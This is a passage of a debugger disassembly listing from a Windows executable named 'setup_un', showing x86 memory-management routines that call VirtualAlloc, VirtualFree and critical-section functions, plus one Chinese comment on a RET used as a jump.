00401387  |.  BE 00001000   MOV ESI,100000
0040138C  |.  EB 0C         JMP SHORT setup_un.0040139A
0040138E  |>  81C6 FFFF0000 ADD ESI,0FFFF
00401394  |.  81E6 0000FFFF AND ESI,FFFF0000
0040139A  |>  8973 04       MOV DWORD PTR DS:[EBX+4],ESI
0040139D  |.  6A 01         PUSH 1                                   ; /Protect = PAGE_NOACCESS
0040139F  |.  68 00200000   PUSH 2000                                ; |AllocationType = MEM_RESERVE
004013A4  |.  56            PUSH ESI                                 ; |Size
004013A5  |.  6A 00         PUSH 0                                   ; |Address = NULL
004013A7  |.  E8 F8FDFFFF   CALL <JMP.&kernel32.VirtualAlloc>        ; \VirtualAlloc
004013AC  |.  8BF8          MOV EDI,EAX
004013AE  |.  893B          MOV DWORD PTR DS:[EBX],EDI
004013B0  |.  85FF          TEST EDI,EDI
004013B2  |.  74 23         JE SHORT setup_un.004013D7
004013B4  |.  8BD3          MOV EDX,EBX
004013B6  |.  B8 D4F54000   MOV EAX,setup_un.0040F5D4
004013BB  |.  E8 6CFEFFFF   CALL setup_un.0040122C
004013C0  |.  84C0          TEST AL,AL
004013C2  |.  75 13         JNZ SHORT setup_un.004013D7
004013C4  |.  68 00800000   PUSH 8000                                ; /FreeType = MEM_RELEASE
004013C9  |.  6A 00         PUSH 0                                   ; |Size = 0
004013CB  |.  8B03          MOV EAX,DWORD PTR DS:[EBX]               ; |
004013CD  |.  50            PUSH EAX                                 ; |Address
004013CE  |.  E8 D9FDFFFF   CALL <JMP.&kernel32.VirtualFree>         ; \VirtualFree
004013D3  |.  33C0          XOR EAX,EAX
004013D5  |.  8903          MOV DWORD PTR DS:[EBX],EAX
004013D7  |>  5F            POP EDI
004013D8  |.  5E            POP ESI
004013D9  |.  5B            POP EBX
004013DA  \.  C3            RETN
004013DB      90            NOP
004013DC  /$  53            PUSH EBX
004013DD  |.  56            PUSH ESI
004013DE  |.  57            PUSH EDI
004013DF  |.  55            PUSH EBP
004013E0  |.  8BD9          MOV EBX,ECX
004013E2  |.  8BF2          MOV ESI,EDX
004013E4  |.  8BE8          MOV EBP,EAX
004013E6  |.  C743 04 00001>MOV DWORD PTR DS:[EBX+4],100000
004013ED  |.  6A 04         PUSH 4                                   ; /Protect = PAGE_READWRITE
004013EF  |.  68 00200000   PUSH 2000                                ; |AllocationType = MEM_RESERVE
004013F4  |.  68 00001000   PUSH 100000                              ; |Size = 100000 (1048576.)
004013F9  |.  55            PUSH EBP                                 ; |Address
004013FA  |.  E8 A5FDFFFF   CALL <JMP.&kernel32.VirtualAlloc>        ; \VirtualAlloc
004013FF  |.  8BF8          MOV EDI,EAX
00401401  |.  893B          MOV DWORD PTR DS:[EBX],EDI
00401403  |.  85FF          TEST EDI,EDI
00401405  |.  75 1F         JNZ SHORT setup_un.00401426
00401407  |.  81C6 FFFF0000 ADD ESI,0FFFF
0040140D  |.  81E6 0000FFFF AND ESI,FFFF0000
00401413  |.  8973 04       MOV DWORD PTR DS:[EBX+4],ESI
00401416  |.  6A 04         PUSH 4                                   ; /Protect = PAGE_READWRITE
00401418  |.  68 00200000   PUSH 2000                                ; |AllocationType = MEM_RESERVE
0040141D  |.  56            PUSH ESI                                 ; |Size
0040141E  |.  55            PUSH EBP                                 ; |Address
0040141F  |.  E8 80FDFFFF   CALL <JMP.&kernel32.VirtualAlloc>        ; \VirtualAlloc
00401424  |.  8903          MOV DWORD PTR DS:[EBX],EAX
00401426  |>  833B 00       CMP DWORD PTR DS:[EBX],0
00401429  |.  74 23         JE SHORT setup_un.0040144E
0040142B  |.  8BD3          MOV EDX,EBX
0040142D  |.  B8 D4F54000   MOV EAX,setup_un.0040F5D4
00401432  |.  E8 F5FDFFFF   CALL setup_un.0040122C
00401437  |.  84C0          TEST AL,AL
00401439  |.  75 13         JNZ SHORT setup_un.0040144E
0040143B  |.  68 00800000   PUSH 8000                                ; /FreeType = MEM_RELEASE
00401440  |.  6A 00         PUSH 0                                   ; |Size = 0
00401442  |.  8B03          MOV EAX,DWORD PTR DS:[EBX]               ; |
00401444  |.  50            PUSH EAX                                 ; |Address
00401445  |.  E8 62FDFFFF   CALL <JMP.&kernel32.VirtualFree>         ; \VirtualFree
0040144A  |.  33C0          XOR EAX,EAX
0040144C  |.  8903          MOV DWORD PTR DS:[EBX],EAX
0040144E  |>  5D            POP EBP
0040144F  |.  5F            POP EDI
00401450  |.  5E            POP ESI
00401451  |.  5B            POP EBX
00401452  \.  C3            RETN
00401453      90            NOP
00401454  /$  53            PUSH EBX
00401455  |.  56            PUSH ESI
00401456  |.  57            PUSH EDI
00401457  |.  55            PUSH EBP
00401458  |.  83C4 EC       ADD ESP,-14
0040145B  |.  894C24 04     MOV DWORD PTR SS:[ESP+4],ECX
0040145F  |.  891424        MOV DWORD PTR SS:[ESP],EDX
00401462  |.  C74424 08 FFF>MOV DWORD PTR SS:[ESP+8],-1
0040146A  |.  33D2          XOR EDX,EDX
0040146C  |.  895424 0C     MOV DWORD PTR SS:[ESP+C],EDX
00401470  |.  8BE8          MOV EBP,EAX
00401472  |.  8B0424        MOV EAX,DWORD PTR SS:[ESP]
00401475  |.  03C5          ADD EAX,EBP
00401477  |.  894424 10     MOV DWORD PTR SS:[ESP+10],EAX
0040147B  |.  8B1D D4F54000 MOV EBX,DWORD PTR DS:[40F5D4]
00401481  |.  EB 51         JMP SHORT setup_un.004014D4
00401483  |>  8B3B          /MOV EDI,DWORD PTR DS:[EBX]
00401485  |.  8B73 08       |MOV ESI,DWORD PTR DS:[EBX+8]
00401488  |.  3BEE          |CMP EBP,ESI
0040148A  |.  77 46         |JA SHORT setup_un.004014D2
0040148C  |.  8BC6          |MOV EAX,ESI
0040148E  |.  0343 0C       |ADD EAX,DWORD PTR DS:[EBX+C]
00401491  |.  3B4424 10     |CMP EAX,DWORD PTR SS:[ESP+10]
00401495  |.  77 3B         |JA SHORT setup_un.004014D2
00401497  |.  3B7424 08     |CMP ESI,DWORD PTR SS:[ESP+8]
0040149B  |.  73 04         |JNB SHORT setup_un.004014A1
0040149D  |.  897424 08     |MOV DWORD PTR SS:[ESP+8],ESI
004014A1  |>  8BC6          |MOV EAX,ESI
004014A3  |.  0343 0C       |ADD EAX,DWORD PTR DS:[EBX+C]
004014A6  |.  3B4424 0C     |CMP EAX,DWORD PTR SS:[ESP+C]
004014AA  |.  76 04         |JBE SHORT setup_un.004014B0
004014AC  |.  894424 0C     |MOV DWORD PTR SS:[ESP+C],EAX
004014B0  |>  68 00800000   |PUSH 8000                               ; /FreeType = MEM_RELEASE
004014B5  |.  6A 00         |PUSH 0                                  ; |Size = 0
004014B7  |.  56            |PUSH ESI                                ; |Address
004014B8  |.  E8 EFFCFFFF   |CALL <JMP.&kernel32.VirtualFree>        ; \VirtualFree
004014BD  |.  85C0          |TEST EAX,EAX
004014BF  |.  75 0A         |JNZ SHORT setup_un.004014CB
004014C1  |.  C705 B0F54000>|MOV DWORD PTR DS:[40F5B0],1
004014CB  |>  8BC3          |MOV EAX,EBX
004014CD  |.  E8 8AFDFFFF   |CALL setup_un.0040125C
004014D2  |>  8BDF          |MOV EBX,EDI
004014D4  |>  81FB D4F54000  CMP EBX,setup_un.0040F5D4
004014DA  |.^ 75 A7         \JNZ SHORT setup_un.00401483
004014DC  |.  8B4424 04     MOV EAX,DWORD PTR SS:[ESP+4]
004014E0  |.  33D2          XOR EDX,EDX
004014E2  |.  8910          MOV DWORD PTR DS:[EAX],EDX
004014E4  |.  837C24 0C 00  CMP DWORD PTR SS:[ESP+C],0
004014E9  |.  74 19         JE SHORT setup_un.00401504
004014EB  |.  8B4424 04     MOV EAX,DWORD PTR SS:[ESP+4]
004014EF  |.  8B5424 08     MOV EDX,DWORD PTR SS:[ESP+8]
004014F3  |.  8910          MOV DWORD PTR DS:[EAX],EDX
004014F5  |.  8B4424 0C     MOV EAX,DWORD PTR SS:[ESP+C]
004014F9  |.  2B4424 08     SUB EAX,DWORD PTR SS:[ESP+8]
004014FD  |.  8B5424 04     MOV EDX,DWORD PTR SS:[ESP+4]
00401501  |.  8942 04       MOV DWORD PTR DS:[EDX+4],EAX
00401504  |>  83C4 14       ADD ESP,14
00401507  |.  5D            POP EBP
00401508  |.  5F            POP EDI
00401509  |.  5E            POP ESI
0040150A  |.  5B            POP EBX
0040150B  \.  C3            RETN
0040150C  /$  53            PUSH EBX
0040150D  |.  56            PUSH ESI
0040150E  |.  57            PUSH EDI
0040150F  |.  55            PUSH EBP
00401510  |.  83C4 F4       ADD ESP,-0C
00401513  |.  894C24 04     MOV DWORD PTR SS:[ESP+4],ECX
00401517  |.  891424        MOV DWORD PTR SS:[ESP],EDX
0040151A  |.  8BD0          MOV EDX,EAX
0040151C  |.  8BEA          MOV EBP,EDX
0040151E  |.  81E5 00F0FFFF AND EBP,FFFFF000
00401524  |.  031424        ADD EDX,DWORD PTR SS:[ESP]
00401527  |.  81C2 FF0F0000 ADD EDX,0FFF
0040152D  |.  81E2 00F0FFFF AND EDX,FFFFF000
00401533  |.  895424 08     MOV DWORD PTR SS:[ESP+8],EDX
00401537  |.  8B4424 04     MOV EAX,DWORD PTR SS:[ESP+4]
0040153B  |.  8928          MOV DWORD PTR DS:[EAX],EBP
0040153D  |.  8B4424 08     MOV EAX,DWORD PTR SS:[ESP+8]
00401541  |.  2BC5          SUB EAX,EBP
00401543  |.  8B5424 04     MOV EDX,DWORD PTR SS:[ESP+4]
00401547  |.  8942 04       MOV DWORD PTR DS:[EDX+4],EAX
0040154A  |.  8B35 D4F54000 MOV ESI,DWORD PTR DS:[40F5D4]
00401550  |.  EB 3C         JMP SHORT setup_un.0040158E
00401552  |>  8B5E 08       /MOV EBX,DWORD PTR DS:[ESI+8]
00401555  |.  8B7E 0C       |MOV EDI,DWORD PTR DS:[ESI+C]
00401558  |.  03FB          |ADD EDI,EBX
0040155A  |.  3BEB          |CMP EBP,EBX
0040155C  |.  76 02         |JBE SHORT setup_un.00401560
0040155E  |.  8BDD          |MOV EBX,EBP
00401560  |>  3B7C24 08     |CMP EDI,DWORD PTR SS:[ESP+8]
00401564  |.  76 04         |JBE SHORT setup_un.0040156A
00401566  |.  8B7C24 08     |MOV EDI,DWORD PTR SS:[ESP+8]
0040156A  |>  3BFB          |CMP EDI,EBX
0040156C  |.  76 1E         |JBE SHORT setup_un.0040158C
0040156E  |.  6A 04         |PUSH 4                                  ; /Protect = PAGE_READWRITE
00401570  |.  68 00100000   |PUSH 1000                               ; |AllocationType = MEM_COMMIT
00401575  |.  2BFB          |SUB EDI,EBX                             ; |
00401577  |.  57            |PUSH EDI                                ; |Size
00401578  |.  53            |PUSH EBX                                ; |Address
00401579  |.  E8 26FCFFFF   |CALL <JMP.&kernel32.VirtualAlloc>       ; \VirtualAlloc
0040157E  |.  85C0          |TEST EAX,EAX
00401580  |.  75 0A         |JNZ SHORT setup_un.0040158C
00401582  |.  8B4424 04     |MOV EAX,DWORD PTR SS:[ESP+4]
00401586  |.  33D2          |XOR EDX,EDX
00401588  |.  8910          |MOV DWORD PTR DS:[EAX],EDX
0040158A  |.  EB 0A         |JMP SHORT setup_un.00401596
0040158C  |>  8B36          |MOV ESI,DWORD PTR DS:[ESI]
0040158E  |>  81FE D4F54000  CMP ESI,setup_un.0040F5D4
00401594  |.^ 75 BC         \JNZ SHORT setup_un.00401552
00401596  |>  83C4 0C       ADD ESP,0C
00401599  |.  5D            POP EBP
0040159A  |.  5F            POP EDI
0040159B  |.  5E            POP ESI
0040159C  |.  5B            POP EBX
0040159D  \.  C3            RETN
0040159E      8BC0          MOV EAX,EAX
004015A0  /$  53            PUSH EBX
004015A1  |.  56            PUSH ESI
004015A2  |.  57            PUSH EDI
004015A3  |.  55            PUSH EBP
004015A4  |.  51            PUSH ECX
004015A5  |.  8BD8          MOV EBX,EAX
004015A7  |.  8BF3          MOV ESI,EBX
004015A9  |.  81C6 FF0F0000 ADD ESI,0FFF
004015AF  |.  81E6 00F0FFFF AND ESI,FFFFF000
004015B5  |.  893424        MOV DWORD PTR SS:[ESP],ESI
004015B8  |.  8BEB          MOV EBP,EBX
004015BA  |.  03EA          ADD EBP,EDX
004015BC  |.  81E5 00F0FFFF AND EBP,FFFFF000
004015C2  |.  8B0424        MOV EAX,DWORD PTR SS:[ESP]
004015C5  |.  8901          MOV DWORD PTR DS:[ECX],EAX
004015C7  |.  8BC5          MOV EAX,EBP
004015C9  |.  2B0424        SUB EAX,DWORD PTR SS:[ESP]
004015CC  |.  8941 04       MOV DWORD PTR DS:[ECX+4],EAX
004015CF  |.  8B35 D4F54000 MOV ESI,DWORD PTR DS:[40F5D4]
004015D5  |.  EB 38         JMP SHORT setup_un.0040160F
004015D7  |>  8B5E 08       /MOV EBX,DWORD PTR DS:[ESI+8]
004015DA  |.  8B7E 0C       |MOV EDI,DWORD PTR DS:[ESI+C]
004015DD  |.  03FB          |ADD EDI,EBX
004015DF  |.  3B1C24        |CMP EBX,DWORD PTR SS:[ESP]
004015E2  |.  73 03         |JNB SHORT setup_un.004015E7
004015E4  |.  8B1C24        |MOV EBX,DWORD PTR SS:[ESP]
004015E7  |>  3BEF          |CMP EBP,EDI
004015E9  |.  73 02         |JNB SHORT setup_un.004015ED
004015EB  |.  8BFD          |MOV EDI,EBP
004015ED  |>  3BFB          |CMP EDI,EBX
004015EF  |.  76 1C         |JBE SHORT setup_un.0040160D
004015F1  |.  68 00400000   |PUSH 4000                               ; /FreeType = MEM_DECOMMIT
004015F6  |.  2BFB          |SUB EDI,EBX                             ; |
004015F8  |.  57            |PUSH EDI                                ; |Size
004015F9  |.  53            |PUSH EBX                                ; |Address
004015FA  |.  E8 ADFBFFFF   |CALL <JMP.&kernel32.VirtualFree>        ; \VirtualFree
004015FF  |.  85C0          |TEST EAX,EAX
00401601  |.  75 0A         |JNZ SHORT setup_un.0040160D
00401603  |.  C705 B0F54000>|MOV DWORD PTR DS:[40F5B0],2
0040160D  |>  8B36          |MOV ESI,DWORD PTR DS:[ESI]
0040160F  |>  81FE D4F54000  CMP ESI,setup_un.0040F5D4
00401615  |.^ 75 C0         \JNZ SHORT setup_un.004015D7
00401617  |.  5A            POP EDX
00401618  |.  5D            POP EBP
00401619  |.  5F            POP EDI
0040161A  |.  5E            POP ESI
0040161B  |.  5B            POP EBX
0040161C  \.  C3            RETN
0040161D      8D40 00       LEA EAX,DWORD PTR DS:[EAX]
00401620  /$  53            PUSH EBX
00401621  |.  56            PUSH ESI
00401622  |.  57            PUSH EDI
00401623  |.  55            PUSH EBP
00401624  |.  83C4 F8       ADD ESP,-8
00401627  |.  8BF2          MOV ESI,EDX
00401629  |.  8BF8          MOV EDI,EAX
0040162B  |.  BD E4F54000   MOV EBP,setup_un.0040F5E4
00401630  |.  81C7 FF3F0000 ADD EDI,3FFF
00401636  |.  81E7 00C0FFFF AND EDI,FFFFC000
0040163C  |>  8B5D 00       /MOV EBX,DWORD PTR SS:[EBP]
0040163F  |.  EB 33         |JMP SHORT setup_un.00401674
00401641  |>  3B7B 0C       |/CMP EDI,DWORD PTR DS:[EBX+C]
00401644  |.  7F 2C         ||JG SHORT setup_un.00401672
00401646  |.  8BCE          ||MOV ECX,ESI
00401648  |.  8BD7          ||MOV EDX,EDI
0040164A  |.  8B43 08       ||MOV EAX,DWORD PTR DS:[EBX+8]
0040164D  |.  E8 BAFEFFFF   ||CALL setup_un.0040150C
00401652  |.  833E 00       ||CMP DWORD PTR DS:[ESI],0
00401655  |.  74 50         ||JE SHORT setup_un.004016A7
00401657  |.  8B46 04       ||MOV EAX,DWORD PTR DS:[ESI+4]
0040165A  |.  0143 08       ||ADD DWORD PTR DS:[EBX+8],EAX
0040165D  |.  8B46 04       ||MOV EAX,DWORD PTR DS:[ESI+4]
00401660  |.  2943 0C       ||SUB DWORD PTR DS:[EBX+C],EAX
00401663  |.  837B 0C 00    ||CMP DWORD PTR DS:[EBX+C],0
00401667  |.  75 3E         ||JNZ SHORT setup_un.004016A7
00401669  |.  8BC3          ||MOV EAX,EBX
0040166B  |.  E8 ECFBFFFF   ||CALL setup_un.0040125C
00401670  |.  EB 35         ||JMP SHORT setup_un.004016A7
00401672  |>  8B1B          ||MOV EBX,DWORD PTR DS:[EBX]
00401674  |>  3BDD          | CMP EBX,EBP
00401676  |.^ 75 C9         |\JNZ SHORT setup_un.00401641
00401678  |.  8BD6          |MOV EDX,ESI
0040167A  |.  8BC7          |MOV EAX,EDI
0040167C  |.  E8 F7FCFFFF   |CALL setup_un.00401378
00401681  |.  833E 00       |CMP DWORD PTR DS:[ESI],0
00401684  |.  74 21         |JE SHORT setup_un.004016A7
00401686  |.  8BCC          |MOV ECX,ESP
00401688  |.  8BD6          |MOV EDX,ESI
0040168A  |.  8BC5          |MOV EAX,EBP
0040168C  |.  E8 E3FBFFFF   |CALL setup_un.00401274
00401691  |.  833C24 00     |CMP DWORD PTR SS:[ESP],0
00401695  |.^ 75 A5         \JNZ SHORT setup_un.0040163C
00401697  |.  8BCC          MOV ECX,ESP
00401699  |.  8B56 04       MOV EDX,DWORD PTR DS:[ESI+4]
0040169C  |.  8B06          MOV EAX,DWORD PTR DS:[ESI]
0040169E  |.  E8 B1FDFFFF   CALL setup_un.00401454
004016A3  |.  33C0          XOR EAX,EAX
004016A5  |.  8906          MOV DWORD PTR DS:[ESI],EAX
004016A7  |>  59            POP ECX
004016A8  |.  5A            POP EDX
004016A9  |.  5D            POP EBP
004016AA  |.  5F            POP EDI
004016AB  |.  5E            POP ESI
004016AC  |.  5B            POP EBX
004016AD  \.  C3            RETN
004016AE      8BC0          MOV EAX,EAX
004016B0  /$  53            PUSH EBX
004016B1  |.  56            PUSH ESI
004016B2  |.  57            PUSH EDI
004016B3  |.  55            PUSH EBP
004016B4  |.  83C4 EC       ADD ESP,-14
004016B7  |.  890C24        MOV DWORD PTR SS:[ESP],ECX
004016BA  |.  8BFA          MOV EDI,EDX
004016BC  |.  8BF0          MOV ESI,EAX
004016BE  |.  BD E4F54000   MOV EBP,setup_un.0040F5E4
004016C3  |.  81C7 FF3F0000 ADD EDI,3FFF
004016C9  |.  81E7 00C0FFFF AND EDI,FFFFC000
004016CF  |>  8B5D 00       /MOV EBX,DWORD PTR SS:[EBP]
004016D2  |.  EB 02         |JMP SHORT setup_un.004016D6
004016D4  |>  8B1B          |/MOV EBX,DWORD PTR DS:[EBX]
004016D6  |>  3BDD          | CMP EBX,EBP
004016D8  |.  74 05         ||JE SHORT setup_un.004016DF
004016DA  |.  3B73 08       ||CMP ESI,DWORD PTR DS:[EBX+8]
004016DD  |.^ 75 F5         |\JNZ SHORT setup_un.004016D4
004016DF  |>  3B73 08       |CMP ESI,DWORD PTR DS:[EBX+8]
004016E2  |.  75 57         |JNZ SHORT setup_un.0040173B
004016E4  |.  3B7B 0C       |CMP EDI,DWORD PTR DS:[EBX+C]
004016E7  |.  0F8E 96000000 |JLE setup_un.00401783
004016ED  |.  8D4C24 04     |LEA ECX,DWORD PTR SS:[ESP+4]
004016F1  |.  8BD7          |MOV EDX,EDI
004016F3  |.  2B53 0C       |SUB EDX,DWORD PTR DS:[EBX+C]
004016F6  |.  8B43 08       |MOV EAX,DWORD PTR DS:[EBX+8]
004016F9  |.  0343 0C       |ADD EAX,DWORD PTR DS:[EBX+C]
004016FC  |.  E8 DBFCFFFF   |CALL setup_un.004013DC
00401701  |.  837C24 04 00  |CMP DWORD PTR SS:[ESP+4],0
00401706  |.  74 33         |JE SHORT setup_un.0040173B
00401708  |.  8D4C24 0C     |LEA ECX,DWORD PTR SS:[ESP+C]
0040170C  |.  8D5424 04     |LEA EDX,DWORD PTR SS:[ESP+4]
00401710  |.  8BC5          |MOV EAX,EBP
00401712  |.  E8 5DFBFFFF   |CALL setup_un.00401274
00401717  |.  837C24 0C 00  |CMP DWORD PTR SS:[ESP+C],0
0040171C  |.^ 75 B1         |JNZ SHORT setup_un.004016CF
0040171E  |.  8D4C24 0C     |LEA ECX,DWORD PTR SS:[ESP+C]
00401722  |.  8B5424 08     |MOV EDX,DWORD PTR SS:[ESP+8]
00401726  |.  8B4424 04     |MOV EAX,DWORD PTR SS:[ESP+4]
0040172A  |.  E8 25FDFFFF   |CALL setup_un.00401454
0040172F  |.  8B0424        |MOV EAX,DWORD PTR SS:[ESP]
00401732  |.  33D2          |XOR EDX,EDX
00401734  |.  8910          |MOV DWORD PTR DS:[EAX],EDX
00401736  |.  E9 90000000   |JMP setup_un.004017CB
0040173B  |>  8D4C24 04     |LEA ECX,DWORD PTR SS:[ESP+4]
0040173F  |.  8BD7          |MOV EDX,EDI
00401741  |.  8BC6          |MOV EAX,ESI
00401743  |.  E8 94FCFFFF   |CALL setup_un.004013DC
00401748  |.  837C24 04 00  |CMP DWORD PTR SS:[ESP+4],0
0040174D  |.  74 34         |JE SHORT setup_un.00401783
0040174F  |.  8D4C24 0C     |LEA ECX,DWORD PTR SS:[ESP+C]
00401753  |.  8D5424 04     |LEA EDX,DWORD PTR SS:[ESP+4]
00401757  |.  8BC5          |MOV EAX,EBP
00401759  |.  E8 16FBFFFF   |CALL setup_un.00401274
0040175E  |.  837C24 0C 00  |CMP DWORD PTR SS:[ESP+C],0
00401763  |.^ 0F85 66FFFFFF \JNZ setup_un.004016CF
00401769  |.  8D4C24 0C     LEA ECX,DWORD PTR SS:[ESP+C]
0040176D  |.  8B5424 08     MOV EDX,DWORD PTR SS:[ESP+8]
00401771  |.  8B4424 04     MOV EAX,DWORD PTR SS:[ESP+4]
00401775  |.  E8 DAFCFFFF   CALL setup_un.00401454
0040177A  |.  8B0424        MOV EAX,DWORD PTR SS:[ESP]
0040177D  |.  33D2          XOR EDX,EDX
0040177F  |.  8910          MOV DWORD PTR DS:[EAX],EDX
00401781  |.  EB 48         JMP SHORT setup_un.004017CB
00401783  |>  8B6B 08       MOV EBP,DWORD PTR DS:[EBX+8]
00401786  |.  3BF5          CMP ESI,EBP
00401788  |.  75 3A         JNZ SHORT setup_un.004017C4
0040178A  |.  3B7B 0C       CMP EDI,DWORD PTR DS:[EBX+C]
0040178D  |.  7F 35         JG SHORT setup_un.004017C4
0040178F  |.  8B0C24        MOV ECX,DWORD PTR SS:[ESP]
00401792  |.  8BD7          MOV EDX,EDI
00401794  |.  8BC5          MOV EAX,EBP
00401796  |.  E8 71FDFFFF   CALL setup_un.0040150C
0040179B  |.  8B0424        MOV EAX,DWORD PTR SS:[ESP]
0040179E  |.  8338 00       CMP DWORD PTR DS:[EAX],0
004017A1  |.  74 28         JE SHORT setup_un.004017CB
004017A3  |.  8B0424        MOV EAX,DWORD PTR SS:[ESP]
004017A6  |.  8B40 04       MOV EAX,DWORD PTR DS:[EAX+4]
004017A9  |.  0143 08       ADD DWORD PTR DS:[EBX+8],EAX
004017AC  |.  8B0424        MOV EAX,DWORD PTR SS:[ESP]
004017AF  |.  8B40 04       MOV EAX,DWORD PTR DS:[EAX+4]
004017B2  |.  2943 0C       SUB DWORD PTR DS:[EBX+C],EAX
004017B5  |.  837B 0C 00    CMP DWORD PTR DS:[EBX+C],0
004017B9  |.  75 10         JNZ SHORT setup_un.004017CB
004017BB  |.  8BC3          MOV EAX,EBX
004017BD  |.  E8 9AFAFFFF   CALL setup_un.0040125C
004017C2  |.  EB 07         JMP SHORT setup_un.004017CB
004017C4  |>  8B0424        MOV EAX,DWORD PTR SS:[ESP]
004017C7  |.  33D2          XOR EDX,EDX
004017C9  |.  8910          MOV DWORD PTR DS:[EAX],EDX
004017CB  |>  83C4 14       ADD ESP,14
004017CE  |.  5D            POP EBP
004017CF  |.  5F            POP EDI
004017D0  |.  5E            POP ESI
004017D1  |.  5B            POP EBX
004017D2  \.  C3            RETN
004017D3      90            NOP
004017D4  /$  53            PUSH EBX
004017D5  |.  56            PUSH ESI
004017D6  |.  57            PUSH EDI
004017D7  |.  83C4 EC       ADD ESP,-14
004017DA  |.  8BF9          MOV EDI,ECX
004017DC  |.  891424        MOV DWORD PTR SS:[ESP],EDX
004017DF  |.  8D98 FF3F0000 LEA EBX,DWORD PTR DS:[EAX+3FFF]
004017E5  |.  81E3 00C0FFFF AND EBX,FFFFC000
004017EB  |.  8B3424        MOV ESI,DWORD PTR SS:[ESP]
004017EE  |.  03F0          ADD ESI,EAX
004017F0  |.  81E6 00C0FFFF AND ESI,FFFFC000
004017F6  |.  3BDE          CMP EBX,ESI
004017F8  |.  73 5B         JNB SHORT setup_un.00401855
004017FA  |.  8BCF          MOV ECX,EDI
004017FC  |.  8BD6          MOV EDX,ESI
004017FE  |.  2BD3          SUB EDX,EBX
00401800  |.  8BC3          MOV EAX,EBX
00401802  |.  E8 99FDFFFF   CALL setup_un.004015A0
00401807  |.  8D4C24 04     LEA ECX,DWORD PTR SS:[ESP+4]
0040180B  |.  8BD7          MOV EDX,EDI
0040180D  |.  B8 E4F54000   MOV EAX,setup_un.0040F5E4
00401812  |.  E8 5DFAFFFF   CALL setup_un.00401274
00401817  |.  8B5C24 04     MOV EBX,DWORD PTR SS:[ESP+4]
0040181B  |.  85DB          TEST EBX,EBX
0040181D  |.  74 1F         JE SHORT setup_un.0040183E
0040181F  |.  8D4C24 0C     LEA ECX,DWORD PTR SS:[ESP+C]
00401823  |.  8B5424 08     MOV EDX,DWORD PTR SS:[ESP+8]
00401827  |.  8BC3          MOV EAX,EBX
00401829  |.  E8 26FCFFFF   CALL setup_un.00401454
0040182E  |.  8B4424 0C     MOV EAX,DWORD PTR SS:[ESP+C]
00401832  |.  894424 04     MOV DWORD PTR SS:[ESP+4],EAX
00401836  |.  8B4424 10     MOV EAX,DWORD PTR SS:[ESP+10]
0040183A  |.  894424 08     MOV DWORD PTR SS:[ESP+8],EAX
0040183E  |>  837C24 04 00  CMP DWORD PTR SS:[ESP+4],0
00401843  |.  74 14         JE SHORT setup_un.00401859
00401845  |.  8D5424 04     LEA EDX,DWORD PTR SS:[ESP+4]
00401849  |.  B8 E4F54000   MOV EAX,setup_un.0040F5E4
0040184E  |.  E8 91FAFFFF   CALL setup_un.004012E4
00401853  |.  EB 04         JMP SHORT setup_un.00401859
00401855  |>  33C0          XOR EAX,EAX
00401857  |.  8907          MOV DWORD PTR DS:[EDI],EAX
00401859  |>  83C4 14       ADD ESP,14
0040185C  |.  5F            POP EDI
0040185D  |.  5E            POP ESI
0040185E  |.  5B            POP EBX
0040185F  \.  C3            RETN
00401860   $  55            PUSH EBP
00401861   .  8BEC          MOV EBP,ESP
00401863   .  33D2          XOR EDX,EDX
00401865   .  55            PUSH EBP
00401866   .  68 16194000   PUSH setup_un.00401916
0040186B   .  64:FF32       PUSH DWORD PTR FS:[EDX]
0040186E   .  64:8922       MOV DWORD PTR FS:[EDX],ESP
00401871   .  68 B4F54000   PUSH setup_un.0040F5B4                   ; /pCriticalSection = setup_un.0040F5B4
00401876   .  E8 39F9FFFF   CALL <JMP.&kernel32.InitializeCriticalSe>; \InitializeCriticalSection
0040187B   .  803D 35F04000>CMP BYTE PTR DS:[40F035],0
00401882   .  74 0A         JE SHORT setup_un.0040188E
00401884   .  68 B4F54000   PUSH setup_un.0040F5B4                   ; /pCriticalSection = setup_un.0040F5B4
00401889   .  E8 2EF9FFFF   CALL <JMP.&kernel32.EnterCriticalSection>; \EnterCriticalSection
0040188E   >  B8 D4F54000   MOV EAX,setup_un.0040F5D4
00401893   .  E8 8CF9FFFF   CALL setup_un.00401224
00401898   .  B8 E4F54000   MOV EAX,setup_un.0040F5E4
0040189D   .  E8 82F9FFFF   CALL setup_un.00401224
004018A2   .  B8 10F64000   MOV EAX,setup_un.0040F610
004018A7   .  E8 78F9FFFF   CALL setup_un.00401224
004018AC   .  68 F80F0000   PUSH 0FF8                                ; /Size = FF8 (4088.)
004018B1   .  6A 00         PUSH 0                                   ; |Flags = LMEM_FIXED
004018B3   .  E8 DCF8FFFF   CALL <JMP.&kernel32.LocalAlloc>          ; \LocalAlloc
004018B8   .  A3 0CF64000   MOV DWORD PTR DS:[40F60C],EAX
004018BD   .  833D 0CF64000>CMP DWORD PTR DS:[40F60C],0
004018C4   .  74 2F         JE SHORT setup_un.004018F5
004018C6   .  B8 03000000   MOV EAX,3
004018CB   >  8B15 0CF64000 MOV EDX,DWORD PTR DS:[40F60C]
004018D1   .  33C9          XOR ECX,ECX
004018D3   .  894C82 F4     MOV DWORD PTR DS:[EDX+EAX*4-C],ECX
004018D7   .  40            INC EAX
004018D8   .  3D 01040000   CMP EAX,401
004018DD   .^ 75 EC         JNZ SHORT setup_un.004018CB
004018DF   .  B8 F4F54000   MOV EAX,setup_un.0040F5F4
004018E4   .  8940 04       MOV DWORD PTR DS:[EAX+4],EAX
004018E7   .  8900          MOV DWORD PTR DS:[EAX],EAX
004018E9   .  A3 00F64000   MOV DWORD PTR DS:[40F600],EAX
004018EE   .  C605 ACF54000>MOV BYTE PTR DS:[40F5AC],1
004018F5   >  33C0          XOR EAX,EAX
004018F7   .  5A            POP EDX
004018F8   .  59            POP ECX
004018F9   .  59            POP ECX
004018FA   .  64:8910       MOV DWORD PTR FS:[EAX],EDX
004018FD   .  68 1D194000   PUSH setup_un.0040191D
00401902   >  803D 35F04000>CMP BYTE PTR DS:[40F035],0
00401909   .  74 0A         JE SHORT setup_un.00401915
0040190B   .  68 B4F54000   PUSH setup_un.0040F5B4                   ; /pCriticalSection = setup_un.0040F5B4
00401910   .  E8 AFF8FFFF   CALL <JMP.&kernel32.LeaveCriticalSection>; \LeaveCriticalSection
00401915   >  C3            RETN                                     ;  RET 用作跳转到 0040191D
00401916   .  E9 491D0000   JMP setup_un.00403664
0040191B   .^ EB E5         JMP SHORT setup_un.00401902
0040191D   >  A0 ACF54000   MOV AL,BYTE PTR DS:[40F5AC]
00401922   .  5D            POP EBP
00401923   .  C3            RETN
00401924   $  55            PUSH EBP
